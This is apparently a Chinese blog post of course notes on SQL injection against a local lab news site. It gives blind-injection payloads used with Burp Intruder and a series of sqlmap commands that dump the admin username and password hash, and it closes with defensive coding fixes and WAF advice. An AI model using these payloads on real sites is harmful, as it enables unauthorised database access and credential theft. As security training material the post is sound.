sql注入

1.使用bp辅助盲注

1.1 猜解数据库名称长度:4

http://127.0.0.1/news/show.php
?id=46 and length(database())=n

1.2 猜解数据库名称字符串:news

http://127.0.0.1/news/show.php
?id=46 and ord(substr(database(),m,1))=n

ascii与字符串互相转换

https://www.toolnb.com/tools/asciiTools.html

页面每转换一次,需要刷新。

 

在使用bp的intruder攻击时,通过增加线程提高攻击的频率。在intruder模块的options选项中可以设置线程数。默认是5,可以设置为100。

1.3 猜解news库所有表名组成的字符串的长度:98

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=n

1.4 猜解news库所有表名组成的字符串:

http://127.0.0.1/news/show.php
?id=46 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),m,1))=n 

news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news_users

 

1.5 猜解news库news_users表的字段组成的字符串的长度:24

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'))=n

1.6 猜解news库news_users表的字段组成的字符串:

http://127.0.0.1/news/show.php
?id=46 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n

userid,username,password

 

1.7 猜解news库的news_users表的username字段值的长度:5

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(username) from news_users))=n

1.8 猜解news库的news_users表的username字段值:admin

 

http://127.0.0.1/news/show.php
?id=46 and ord(substr((select group_concat(username) from news_users),m,1))=n

 

1.9 猜解news库的news_users表的password字段值的长度:32

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(password) from news_users))=n

1.10 猜解news库的news_users表的password字段值:e10adc3949ba59abbe56e057f20f883e

 

http://127.0.0.1/news/show.php
?id=46 and ord(substr((select group_concat(password) from news_users),m,1))=n

 

1.11 通过cmd5网站查询得到原始的口令:123456

 

 

2.Sqlmap的安装和使用

#  一  windows中使用sqlmap 
# 1. 获取服务器信息,包括操作系统、数据库、web容器、后端语言
#  python sqlmap.py  -u url
# 2. 获取数据库名称列表 
# python sqlmap.py -u url  -dbs
 # 3. 获取当前数据库名称  
# python sqlmap.py -u url  --current-db 
# 4. 获取当前数据库中所有表的名称
# python sqlmap.py -u url  -D 数据库名 --tables 
# 5. 获取当前数据库指定的表的字段名
# python sqlmap.py -u url  -D 数据库名 -T 表名 --columns  
# 6. 获取指定库指定表指定字段的值
# python sqlmap.py -u url  -D 数据库名 -T 表名 -C 字段名1,字段名2...  --dump 

 # 二 kali中使用sqlmap 
 sqlmap  -u http://192.168.10.1/news/show.php?id=46
sqlmap -u http://192.168.10.1/news/show.php?id=46 -dbs
sqlmap -u http://192.168.10.1/news/show.php?id=46 --current-db 
sqlmap -u http://192.168.10.1/news/show.php?id=46 -D news --tables
sqlmap -u http://192.168.10.1/news/show.php?id=46 -D news -T news_users --columns
sqlmap -u http://192.168.10.1/news/show.php?id=46 -D news -T news_users -C username,password --dump

 

 

3.Sql注入的防护:

3.1代码的防护

1.数值型的参数做类型转换

文件的181行:

D:\phpStudy\WWW\news\include\common.function.php 
function getArticleInfo($id=0){
  global $db;
  if($id==0){
    if(empty($_GET['id'])){
      return false;
    }else{
       // $id = $_GET['id'];
      // 对用户输入的数据做int类型的转换 
        $id =intval( $_GET['id']); 
    }
  }
  return $db->getOneRow("select * from news_article where id=".$id);
}

 

2.字符型的参数通过addslashes函数增加\

D:\phpStudy\WWW\news\newsAdmin\admin\login.action.php  第6行
if (isset ( $_POST ["username"] )) {
   //$username =$_POST ["username"];
  // 防止sql注入 
  //  \' or 1=1#
   //  \'不能再起到闭合,作为数据的一部分 
  
   $username =addslashes($_POST ["username"]); 
} else {
  $username = "";
}

 

3.预处理的方式执行sql语句(主要防止数值型的sql注入,自动会有类型检查)

3.2产品防护-WAF:Web应用防火墙

 

批量挖掘sql注入:

https://www.cnblogs.com/Azjj/p/14002310.html

 

猎才课程笔记:

https://www.wolai.com/3bTm9F5PLaHGYwJPxygP16

https://www.wolai.com/fgeDuHzN6uExqvU9Nz353J

 

  • 18
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lyx-0607

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值